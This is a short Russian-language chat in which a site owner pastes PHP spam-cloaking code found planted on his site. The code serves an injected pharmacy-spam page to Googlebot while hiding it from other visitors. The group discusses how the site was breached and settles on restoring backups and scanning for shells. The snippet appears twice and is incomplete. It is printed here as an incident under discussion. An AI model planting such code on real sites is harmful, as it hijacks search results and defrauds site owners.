L
все нашел вредоносный код
Size: a a a
2021 April 12
A
Покажи, интересно
L
$s_ref = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match("/(googlebot|slurp|google adSense)/", strtolower($agent)) && $_SERVER['REQUEST_URI']=='/'){
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(strpos($accept_lang,'zh')>-1 || $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']==1 || $_COOKIE['az']=='lp'){setcookie('az','lp',time()+3600*7200); echo ' '; exit;}
include('syfqw.html');
exit;
$agent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match("/(googlebot|slurp|google adSense)/", strtolower($agent)) && $_SERVER['REQUEST_URI']=='/'){
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(strpos($accept_lang,'zh')>-1 || $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']==1 || $_COOKIE['az']=='lp'){setcookie('az','lp',time()+3600*7200); echo ' '; exit;}
include('syfqw.html');
exit;
A
Спасибо. Это редирект для гуглбота?
L
ну это просто перехват откуда идут да
L
если гугл, то иногда инклудить виагру
A
А тут вроде не указано откуда инклуд
L
они прям на сайт залили
L
syfqw.html
A
Спасибо. А как сломали на твой взгляд?
L
вот это вопрос
A
А хостинг какой?)
L
евробайт
A
Ок, спс
А
Проверь все сайты на шеллы и бэкдоры
L
Да я откачу бекапы просто
L
Главное понять как зашли
L
да полюбому чонить не обновили
L
Там не wp)
L
Старый самопис